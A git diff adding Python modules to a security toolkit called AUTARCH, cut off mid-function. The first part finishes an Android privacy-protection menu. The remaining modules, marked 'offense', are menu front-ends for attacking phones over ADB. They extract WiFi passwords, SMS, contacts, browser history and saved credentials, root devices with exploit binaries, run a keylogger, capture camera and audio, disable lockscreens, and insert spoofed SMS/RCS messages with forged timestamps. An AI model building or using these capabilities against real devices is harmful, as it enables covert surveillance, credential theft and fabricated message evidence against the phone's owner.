do_disable_location(self): + if not self._ensure_device(): + return + result = self.mgr.disable_location_accuracy(self.serial) + if result.get('ok'): + print(" WiFi and Bluetooth scanning disabled.") + else: + print(" Some settings failed:") + for r in result.get('results', []): + status = "OK" if r['ok'] else "FAIL" + print(f" [{status}] {r['setting']}") + + def do_deploy_hosts(self): + if not self._ensure_device(): + return + print(" Deploying hosts blocklist (requires root)...") + result = self.mgr.deploy_hosts_blocklist(self.serial) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_setup_iptables(self): + if not self._ensure_device(): + return + try: + port_str = input(" Redirect port [9040]: ").strip() + except (EOFError, KeyboardInterrupt): + return + port = int(port_str) if port_str else 9040 + result = self.mgr.setup_iptables_redirect(self.serial, port) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_set_fake_location(self): + if not self._ensure_device(): + return + try: + lat = float(input(" Latitude: ").strip()) + lon = float(input(" Longitude: ").strip()) + except (ValueError, EOFError, KeyboardInterrupt): + print(" Invalid coordinates.") + return + result = self.mgr.set_fake_location(self.serial, lat, lon) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_random_location(self): + if not self._ensure_device(): + return + result = self.mgr.set_random_fake_location(self.serial) + if result.get('ok'): + print(f" {result['message']}") + if result.get('location_name'): + print(f" Location: {result['location_name']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_rotate_identity(self): + if not self._ensure_device(): + return + result = self.mgr.rotate_device_identity(self.serial) + if result.get('ok'): + print(f" {result['message']}") + for c in result.get('changes', []): + status = "OK" if c['ok'] else "FAIL" + print(f" [{status}] {c['setting']}: {c['value']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_fake_fingerprint(self): + if not self._ensure_device(): + return + result = self.mgr.generate_fake_fingerprint(self.serial) + if result.get('ok'): + print(f" {result['message']}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def do_activate_honeypot(self): + if not self._ensure_device(): + return + print(" Select protection tier:") + print(" 1) ADB only (no root)") + print(" 2) ADB + Shizuku") + print(" 3) Full (ADB + Shizuku + Root)") + try: + tier = int(input(" Tier [1]: ").strip() or '1') + except (ValueError, EOFError, KeyboardInterrupt): + return + if tier not in (1, 2, 3): + print(" Invalid tier.") + return + print(f"\n Activating Tier {tier} honeypot...") + result = self.mgr.honeypot_activate(self.serial, tier) + print(f" {result.get('summary', 'Done')}") + for action in result.get('actions', []): + r = action['result'] + status = "OK" if r.get('ok', False) else "FAIL" + msg = r.get('message', r.get('error', '')) + print(f" [{status}] {action['name']}: {msg}") + + def do_deactivate_honeypot(self): + if not self._ensure_device(): + return + print(" Deactivating honeypot...") + result = self.mgr.honeypot_deactivate(self.serial) + for action in result.get('actions', []): + r = action['result'] + status = "OK" if r.get('ok', False) else "FAIL" + print(f" [{status}] {action['name']}") + print(" Honeypot deactivated.") + + def do_tracker_stats(self): + stats = self.mgr.get_tracker_stats() + print(f"\n Tracker Domain Database:") + print(f" Version: {stats['version']}") + print(f" Total domains: {stats['total_domains']}") + print(f" Companies: {stats['companies']}") + print(f" Tracker pkgs: {stats['packages']}") + print(f" DNS providers: {', '.join(stats.get('dns_providers', []))}") + print(f" Categories:") + for cat, count in stats.get('categories', {}).items(): + print(f" {cat}: {count} domains") + + def do_update_trackers(self): + print(" Updating tracker domains...") + result = self.mgr.update_tracker_domains() + if result.get('ok'): + print(f" Updated: merged {result['merged']} new domains") + else: + print(f" Error: {result.get('error')}") + + # ── Database ──────────────────────────────────────────────────── + + def do_sig_stats(self): + stats = self.mgr.get_signature_stats() + print(f"\n Signature Database Stats:") + print(f" Version: {stats['version']}") + print(f" Last updated: {stats['last_updated']}") + print(f" Stalkerware families: {stats['stalkerware_families']}") + print(f" Stalkerware packages: {stats['stalkerware_packages']}") + print(f" Government spyware: {stats['government_spyware']}") + print(f" Permission combos: {stats['permission_combos']}") + + def do_update_sigs(self): + print(" Updating signatures from GitHub...") + result = self.mgr.update_signatures() + if result.get('ok'): + print(f" Updated: merged {result['merged']} new packages") + else: + print(f" Error: {result.get('error')}") + + # ── Main Loop ─────────────────────────────────────────────────── + + def run_interactive(self): + import json + while True: + self.show_menu() + try: + choice = input(" Select > ").strip() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + + actions = { + '1': self.do_quick_scan, + '2': self.do_full_scan, + '3': self.do_export_report, + '10': self.do_scan_stalkerware, + '11': self.do_scan_hidden, + '12': self.do_scan_admins, + '13': self.do_scan_accessibility, + '14': self.do_scan_listeners, + '15': self.do_scan_spyware, + '16': self.do_scan_integrity, + '17': self.do_scan_processes, + '18': self.do_scan_certs, + '19': self.do_scan_network, + '20': self.do_scan_devopt, + '30': self.do_dangerous_apps, + '31': self.do_analyze_perms, + '32': self.do_perm_heatmap, + '40': self.do_disable, + '41': self.do_uninstall, + '42': self.do_revoke, + '43': self.do_remove_admin, + '44': self.do_remove_cert, + '45': self.do_clear_proxy, + '50': self.do_shizuku_status, + '51': self.do_install_shizuku, + '52': self.do_start_shizuku, + '53': self.do_install_shield, + '54': self.do_configure_shield, + '55': self.do_grant_shield_perms, + '60': self.do_sig_stats, + '61': self.do_update_sigs, + '70': self.do_honeypot_status, + '71': self.do_scan_tracker_apps, + '72': self.do_scan_tracker_perms, + '73': self.do_ad_settings, + '74': self.do_reset_ad_id, + '75': self.do_opt_out_tracking, + '76': self.do_set_dns, + '77': self.do_disable_location, + '78': self.do_deploy_hosts, + '79': self.do_setup_iptables, + '80': self.do_set_fake_location, + '81': self.do_random_location, + '82': self.do_rotate_identity, + '83': self.do_fake_fingerprint, + '84': self.do_activate_honeypot, + '85': self.do_deactivate_honeypot, + '86': self.do_tracker_stats, + '87': self.do_update_trackers, + 's': self._pick_device, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + ap = AndroidProtect() + ap.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_recon.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_recon.py new file mode 100644 index 0000000..ff6a7fd --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_recon.py @@ -0,0 +1,221 @@ +""" +Android Device Reconnaissance - Extract device data, accounts, messages, history +""" + +DESCRIPTION = "Android device reconnaissance (data extraction, accounts, logs)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidRecon: + """Interactive menu for Android device reconnaissance.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + model = d.get('model', '') + print(f" {i}) {d['serial']} {model}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*50}") + print(" Device Reconnaissance") + print(f"{'='*50}") + print(f" Device: {self.serial or '(none)'}") + print() + print(" [1] Full Device Dump") + print(" [2] Installed Accounts") + print(" [3] WiFi Passwords [ROOT]") + print(" [4] Call Logs") + print(" [5] SMS Messages") + print(" [6] Contacts") + print(" [7] Browser History [ROOT]") + print(" [8] Saved Credentials [ROOT]") + print(" [9] Export Full Report") + print(" [s] Select Device") + print(" [0] Back") + print() + + def device_dump(self): + if not self._ensure_device(): + return + print(" Running full device dump...") + dump = self.mgr.full_device_dump(self.serial) + print(f"\n SELinux: {dump.get('selinux', 'unknown')}") + print(f" Kernel: {dump.get('kernel', 'unknown')}") + print(f" Fingerprint: {dump.get('fingerprint', 'unknown')}") + print(f" Packages: {dump.get('package_count', '?')}") + info = dump.get('device_info', {}) + if info: + print(f"\n Device Info:") + for k, v in info.items(): + print(f" {k:<20} {v}") + + def accounts(self): + if not self._ensure_device(): + return + result = self.mgr.get_accounts(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} accounts:") + for a in result['accounts']: + print(f" {a['name']} ({a['type']})") + + def wifi_passwords(self): + if not self._ensure_device(): + return + print(" Extracting WiFi passwords (requires root)...") + result = self.mgr.get_wifi_passwords(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} saved networks:") + for w in result['passwords']: + print(f" SSID: {w['ssid']}") + print(f" PSK: {w['password']}") + print() + + def call_logs(self): + if not self._ensure_device(): + return + result = self.mgr.extract_call_logs(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} call log entries:") + print(f" {'Number':<20} {'Type':<12} {'Duration'}") + print(f" {'-'*50}") + for c in result['calls'][:50]: + print(f" {c.get('number','?'):<20} {c.get('type_label','?'):<12} {c.get('duration','?')}s") + + def sms_messages(self): + if not self._ensure_device(): + return + result = self.mgr.extract_sms(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} SMS messages:") + for m in result['messages'][:30]: + print(f"\n [{m.get('type_label','?')}] {m.get('address','?')}") + body = m.get('body', '') + if len(body) > 100: + body = body[:100] + '...' + print(f" {body}") + + def contacts(self): + if not self._ensure_device(): + return + result = self.mgr.extract_contacts(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} contacts:") + print(f" {'Name':<25} {'Number'}") + print(f" {'-'*45}") + for c in result['contacts']: + print(f" {c.get('display_name','?'):<25} {c.get('number','?')}") + + def browser_history(self): + if not self._ensure_device(): + return + print(" Extracting browser history (requires root)...") + result = self.mgr.extract_browser_history(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} history entries:") + for h in result['history'][:30]: + title = h.get('title', '')[:50] + print(f" {title}") + print(f" {h['url']}") + + def saved_credentials(self): + if not self._ensure_device(): + return + print(" Extracting saved credentials (requires root)...") + result = self.mgr.extract_saved_credentials(self.serial) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} saved credentials:") + for c in result['credentials']: + print(f" URL: {c['url']}") + print(f" User: {c['username']}") + print(f" Pass: {'[encrypted]' if c['password_encrypted'] else '[empty]'}") + print() + + def export_report(self): + if not self._ensure_device(): + return + print(" Generating full recon report...") + result = self.mgr.export_recon_report(self.serial) + if result['success']: + print(f" Report saved: {result['report_path']}") + print(f" Sections: {', '.join(result['sections'])}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + actions = { + '0': None, + '1': self.device_dump, + '2': self.accounts, + '3': self.wifi_passwords, + '4': self.call_logs, + '5': self.sms_messages, + '6': self.contacts, + '7': self.browser_history, + '8': self.saved_credentials, + '9': self.export_report, + 's': self._select_device, + } + if choice == '0': + break + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + m = AndroidRecon() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_root.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_root.py new file mode 100644 index 0000000..a988aab --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_root.py @@ -0,0 +1,163 @@ +""" +Android Root Methods - Root detection, Magisk install, exploit-based rooting +""" + +DESCRIPTION = "Android root methods (Magisk, exploits, root detection)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidRoot: + """Interactive menu for Android rooting operations.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + model = d.get('model', '') + print(f" {i}) {d['serial']} {model}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*50}") + print(" Root Methods") + print(f"{'='*50}") + print(f" Device: {self.serial or '(none)'}") + print() + print(" [1] Check Root Status") + print(" [2] Install Magisk APK") + print(" [3] Pull Patched Boot Image") + print(" [4] Root via Exploit") + print(" [5] ADB Root Shell (debug builds)") + print(" [s] Select Device") + print(" [0] Back") + print() + + def check_root(self): + if not self._ensure_device(): + return + print(" Checking root status...") + result = self.mgr.check_root(self.serial) + print(f"\n Rooted: {'YES' if result['rooted'] else 'NO'}") + if result['method']: + print(f" Method: {result['method']}") + if result['version']: + print(f" Version: {result['version']}") + details = result.get('details', {}) + if details: + print(f" Details:") + for k, v in details.items(): + print(f" {k}: {v}") + + def install_magisk(self): + if not self._ensure_device(): + return + try: + apk = input(" Magisk APK path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not apk: + return + print(" Installing Magisk APK...") + result = self.mgr.install_magisk(self.serial, apk) + if result['success']: + print(" Magisk installed successfully.") + print(" Next: Open Magisk app, patch boot image, then flash patched boot.") + else: + print(f" Error: {result.get('error', result.get('output', 'Failed'))}") + + def pull_patched(self): + if not self._ensure_device(): + return + print(" Looking for patched boot image...") + result = self.mgr.pull_patched_boot(self.serial) + if result['success']: + size_mb = result['size'] / (1024 * 1024) + print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)") + print(" Next: Reboot to fastboot, flash this as boot partition.") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def root_exploit(self): + if not self._ensure_device(): + return + try: + exploit = input(" Exploit binary path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not exploit: + return + print(" Deploying and executing exploit...") + result = self.mgr.root_via_exploit(self.serial, exploit) + if result['success']: + print(" ROOT OBTAINED!") + else: + print(" Root not obtained.") + print(f" Exploit output:\n{result.get('exploit_output', '')}") + + def adb_root(self): + if not self._ensure_device(): + return + print(" Attempting adb root (userdebug/eng builds only)...") + result = self.mgr.adb_root_shell(self.serial) + if result['success']: + print(" ADB running as root.") + else: + print(f" Failed: {result['output']}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + actions = { + '1': self.check_root, + '2': self.install_magisk, + '3': self.pull_patched, + '4': self.root_exploit, + '5': self.adb_root, + 's': self._select_device, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + m = AndroidRoot() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_screen.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_screen.py new file mode 100644 index 0000000..d1091ea --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_screen.py @@ -0,0 +1,220 @@ +""" +Android Screen & Input Control - Screenshots, recording, input injection, keylogger +""" + +DESCRIPTION = "Android screen capture, input injection, keylogger, camera/audio" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidScreen: + """Interactive menu for screen/input/capture operations.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + print(f" {i}) {d['serial']} {d.get('model','')}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*55}") + print(" Screen & Input Control") + print(f"{'='*55}") + print(f" Device: {self.serial or '(none)'}") + print() + print(" ── Capture ──") + print(" [1] Screenshot") + print(" [2] Screen Record") + print(" [3] Camera Photo") + print(" [4] Audio Record") + print() + print(" ── Input Injection ──") + print(" [5] Tap Coordinates") + print(" [6] Swipe") + print(" [7] Type Text") + print(" [8] Send Key Event") + print(" [9] Wake / Dismiss Lockscreen") + print(" [10] Disable Lockscreen") + print() + print(" ── Keylogger ──") + print(" [11] Start Keylogger") + print(" [12] Stop & Pull Keylog") + print() + print(" [s] Select Device") + print(" [0] Back") + print() + + def screenshot(self): + if not self._ensure_device(): return + print(" Capturing screenshot...") + r = self.mgr.screen_capture(self.serial) + if r['success']: + print(f" Saved: {r['path']} ({r['size']} bytes)") + else: + print(f" Error: {r.get('error')}") + + def screen_record(self): + if not self._ensure_device(): return + try: + dur = input(" Duration in seconds [10]: ").strip() + dur = int(dur) if dur else 10 + except (ValueError, EOFError, KeyboardInterrupt): + return + print(f" Recording for {dur}s...") + r = self.mgr.screen_record(self.serial, duration=dur) + if r['success']: + print(f" Saved: {r['path']} ({r['size']} bytes)") + else: + print(f" Error: {r.get('error')}") + + def camera(self): + if not self._ensure_device(): return + try: + cam = input(" Camera [back/front]: ").strip() or 'back' + except (EOFError, KeyboardInterrupt): + return + print(" Opening camera (device screen will activate)...") + r = self.mgr.camera_capture(self.serial, camera=cam) + if r['success']: + print(f" Photo saved: {r['path']}") + else: + print(f" Note: {r.get('error')}") + + def audio(self): + if not self._ensure_device(): return + try: + dur = input(" Duration in seconds [10]: ").strip() + dur = int(dur) if dur else 10 + except (ValueError, EOFError, KeyboardInterrupt): + return + r = self.mgr.audio_record(self.serial, duration=dur) + print(f" {r.get('note', 'Started')}") + + def tap(self): + if not self._ensure_device(): return + try: + x = int(input(" X coordinate: ").strip()) + y = int(input(" Y coordinate: ").strip()) + except (ValueError, EOFError, KeyboardInterrupt): + return + self.mgr.input_tap(self.serial, x, y) + print(f" Tapped ({x}, {y})") + + def swipe(self): + if not self._ensure_device(): return + try: + x1 = int(input(" From X: ").strip()) + y1 = int(input(" From Y: ").strip()) + x2 = int(input(" To X: ").strip()) + y2 = int(input(" To Y: ").strip()) + ms = input(" Duration ms [300]: ").strip() + ms = int(ms) if ms else 300 + except (ValueError, EOFError, KeyboardInterrupt): + return + self.mgr.input_swipe(self.serial, x1, y1, x2, y2, ms) + print(f" Swiped ({x1},{y1}) -> ({x2},{y2})") + + def type_text(self): + if not self._ensure_device(): return + try: + text = input(" Text to type: ").strip() + except (EOFError, KeyboardInterrupt): + return + if text: + self.mgr.input_text(self.serial, text) + print(f" Typed: {text[:50]}") + + def keyevent(self): + if not self._ensure_device(): return + print(" Common: 3=HOME 4=BACK 26=POWER 82=MENU 24/25=VOL 187=RECENTS 224=WAKEUP") + try: + code = input(" Keycode: ").strip() + except (EOFError, KeyboardInterrupt): + return + if code: + self.mgr.input_keyevent(self.serial, code) + print(f" Sent keyevent {code}") + + def wake_dismiss(self): + if not self._ensure_device(): return + r = self.mgr.dismiss_lockscreen(self.serial) + print(f" Lock screen: {'still locked' if r['locked'] else 'dismissed'}") + + def disable_lock(self): + if not self._ensure_device(): return + r = self.mgr.disable_lockscreen(self.serial) + print(" Attempted lock screen disable:") + for x in r['results']: + print(f" {x['cmd']}: rc={x['rc']}") + + def start_keylog(self): + if not self._ensure_device(): return + r = self.mgr.start_keylogger(self.serial) + print(f" Keylogger started, PID: {r['pid']}, log: {r['log_path']}") + + def stop_keylog(self): + if not self._ensure_device(): return + r = self.mgr.stop_keylogger(self.serial) + if r['success']: + print(f" Keylog saved: {r['path']} ({r['size']} bytes)") + else: + print(f" {r.get('error')}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + actions = { + '1': self.screenshot, '2': self.screen_record, + '3': self.camera, '4': self.audio, + '5': self.tap, '6': self.swipe, + '7': self.type_text, '8': self.keyevent, + '9': self.wake_dismiss, '10': self.disable_lock, + '11': self.start_keylog, '12': self.stop_keylog, + 's': self._select_device, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + m = AndroidScreen() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_sms.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_sms.py new file mode 100644 index 0000000..d0ece51 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_sms.py @@ -0,0 +1,359 @@ +""" +Android SMS/RCS Manipulation - Insert, delete, spoof messages with custom timestamps +""" + +DESCRIPTION = "Android SMS/RCS manipulation (add, remove, spoof dates, RCS inject)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidSms: + """Interactive menu for SMS/RCS manipulation.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + model = d.get('model', '') + print(f" {i}) {d['serial']} {model}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*55}") + print(" SMS / RCS Manipulation") + print(f"{'='*55}") + print(f" Device: {self.serial or '(none)'}") + print() + print(" ── SMS (content provider) ──") + print(" [1] List SMS Messages") + print(" [2] Insert SMS (spoofed)") + print(" [3] Insert Batch SMS") + print(" [4] Edit SMS") + print(" [5] Delete SMS by ID") + print(" [6] Delete SMS by Number") + print(" [7] Delete ALL SMS") + print() + print(" ── RCS (Google Messages) ── [ROOT]") + print(" [8] Check RCS Support") + print(" [9] List RCS Messages") + print(" [a] Insert RCS Message (spoofed)") + print(" [b] Delete RCS Message") + print() + print(" [s] Select Device") + print(" [0] Back") + print() + + def list_sms(self): + if not self._ensure_device(): + return + try: + addr = input(" Filter by number (Enter for all): ").strip() or None + limit = input(" Limit [50]: ").strip() + limit = int(limit) if limit else 50 + except (EOFError, KeyboardInterrupt, ValueError): + return + result = self.mgr.sms_list(self.serial, limit=limit, address=addr) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} messages:") + print(f" {'ID':<6} {'Type':<8} {'Address':<16} {'Date':<20} Body") + print(f" {'-'*75}") + for m in result['messages']: + body = m.get('body', '') + if len(body) > 40: + body = body[:40] + '...' + date = m.get('date_readable', m.get('date', '?')) + print(f" {m.get('_id','?'):<6} {m.get('type_label','?'):<8} {m.get('address','?'):<16} {date:<20} {body}") + + def insert_sms(self): + if not self._ensure_device(): + return + try: + print("\n Insert Spoofed SMS") + print(f" {'-'*40}") + address = input(" Phone number: ").strip() + if not address: + return + body = input(" Message body: ").strip() + if not body: + return + print(" Type: 1=inbox (received), 2=sent, 3=draft") + msg_type = input(" Type [inbox]: ").strip() or 'inbox' + date = input(" Date (YYYY-MM-DD) [today]: ").strip() or None + time_val = input(" Time (HH:MM:SS) [now]: ").strip() or None + read = input(" Mark as read? [Y/n]: ").strip().lower() != 'n' + except (EOFError, KeyboardInterrupt): + return + + print(" Inserting...") + result = self.mgr.sms_insert(self.serial, address, body, + date_str=date, time_str=time_val, + msg_type=msg_type, read=read) + if result['success']: + print(f" SMS inserted:") + print(f" From/To: {result['address']}") + print(f" Date: {result['date']}") + print(f" Type: {result['type']}") + print(f" Body: {result['body'][:60]}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def insert_batch(self): + if not self._ensure_device(): + return + print("\n Batch SMS Insert") + print(" Enter messages one per line. Format:") + print(" number|body|YYYY-MM-DD|HH:MM:SS|type") + print(" Type is inbox/sent. Date/time optional. Empty line to finish.") + print() + messages = [] + while True: + try: + line = input(" > ").strip() + except (EOFError, KeyboardInterrupt): + break + if not line: + break + parts = line.split('|') + if len(parts) < 2: + print(" Need at least: number|body") + continue + msg = {'address': parts[0].strip(), 'body': parts[1].strip()} + if len(parts) >= 3 and parts[2].strip(): + msg['date'] = parts[2].strip() + if len(parts) >= 4 and parts[3].strip(): + msg['time'] = parts[3].strip() + if len(parts) >= 5 and parts[4].strip(): + msg['type'] = parts[4].strip() + messages.append(msg) + print(f" Queued: {msg['address']} -> {msg['body'][:30]}") + + if not messages: + print(" No messages to insert.") + return + + print(f"\n Inserting {len(messages)} messages...") + result = self.mgr.sms_bulk_insert(self.serial, messages) + print(f" Done: {result['inserted']}/{result['total']} inserted successfully.") + + def edit_sms(self): + if not self._ensure_device(): + return + try: + sms_id = input(" SMS _id to edit: ").strip() + if not sms_id: + return + print(" Leave fields blank to keep current value.") + body = input(" New body (or Enter to skip): ").strip() or None + address = input(" New address (or Enter to skip): ").strip() or None + date = input(" New date YYYY-MM-DD (or Enter): ").strip() or None + time_val = input(" New time HH:MM:SS (or Enter): ").strip() or None + msg_type = input(" New type inbox/sent (or Enter): ").strip() or None + except (EOFError, KeyboardInterrupt): + return + + result = self.mgr.sms_update(self.serial, sms_id, body=body, address=address, + date_str=date, time_str=time_val, msg_type=msg_type) + if result['success']: + print(f" SMS {sms_id} updated.") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def delete_by_id(self): + if not self._ensure_device(): + return + try: + sms_id = input(" SMS _id to delete: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not sms_id: + return + result = self.mgr.sms_delete(self.serial, sms_id=sms_id) + if result['success']: + print(f" Deleted SMS #{sms_id}") + else: + print(f" Error: {result.get('error', result.get('output', 'Failed'))}") + + def delete_by_number(self): + if not self._ensure_device(): + return + try: + address = input(" Phone number to delete all messages from: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not address: + return + try: + confirm = input(f" Delete ALL SMS from {address}? [y/N]: ").strip().lower() + except (EOFError, KeyboardInterrupt): + return + if confirm != 'y': + print(" Cancelled.") + return + result = self.mgr.sms_delete(self.serial, address=address, delete_all_from=True) + if result['success']: + print(f" Deleted all SMS from {address}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def delete_all(self): + if not self._ensure_device(): + return + try: + confirm = input(" DELETE ALL SMS on device? Type 'YES': ").strip() + except (EOFError, KeyboardInterrupt): + return + if confirm != 'YES': + print(" Cancelled.") + return + result = self.mgr.sms_delete_all(self.serial) + if result['success']: + print(" All SMS deleted.") + else: + print(f" Error: {result.get('output', 'Failed')}") + + def rcs_check(self): + if not self._ensure_device(): + return + print(" Checking RCS support...") + info = self.mgr.rcs_check_support(self.serial) + print(f"\n RCS Available: {'YES' if info['rcs_available'] else 'NO'}") + print(f" Messaging App: {info.get('messaging_app', 'not found')}") + print(f" Database: {info.get('database', 'not found (need root)')}") + + def rcs_list_msgs(self): + if not self._ensure_device(): + return + try: + limit = input(" Limit [50]: ").strip() + limit = int(limit) if limit else 50 + except (EOFError, KeyboardInterrupt, ValueError): + return + print(" Fetching RCS messages (requires root)...") + result = self.mgr.rcs_list(self.serial, limit=limit) + if not result['success']: + print(f" Error: {result.get('error', 'Failed')}") + return + print(f"\n Found {result['count']} messages:") + print(f" {'ID':<6} {'Proto':<6} {'Date':<20} {'Conv':<20} Text") + print(f" {'-'*80}") + for m in result['messages']: + text = m.get('text', '') + if len(text) > 35: + text = text[:35] + '...' + conv = m.get('conversation_name', '')[:18] + print(f" {m.get('message_id','?'):<6} {m.get('protocol','?'):<6} {m.get('timestamp_readable','?'):<20} {conv:<20} {text}") + + def rcs_insert_msg(self): + if not self._ensure_device(): + return + try: + print("\n Insert Spoofed RCS Message (requires root)") + print(f" {'-'*45}") + address = input(" Phone number / contact: ").strip() + if not address: + return + body = input(" Message body: ").strip() + if not body: + return + sender = input(" Sender display name (or Enter for number): ").strip() or None + direction = input(" Direction - incoming/outgoing [incoming]: ").strip().lower() + is_out = direction.startswith('out') + date = input(" Date (YYYY-MM-DD) [today]: ").strip() or None + time_val = input(" Time (HH:MM:SS) [now]: ").strip() or None + except (EOFError, KeyboardInterrupt): + return + + print(" Injecting RCS message...") + result = self.mgr.rcs_insert(self.serial, address, body, + date_str=date, time_str=time_val, + sender_name=sender, is_outgoing=is_out) + if result['success']: + print(f" RCS message injected:") + print(f" Address: {result['address']}") + print(f" Date: {result['date']}") + print(f" Protocol: {result['protocol']}") + print(f" Dir: {'outgoing' if result['is_outgoing'] else 'incoming'}") + print(f" Body: {result['body'][:60]}") + else: + print(f" Error: {result.get('error', 'Failed')}") + + def rcs_delete_msg(self): + if not self._ensure_device(): + return + try: 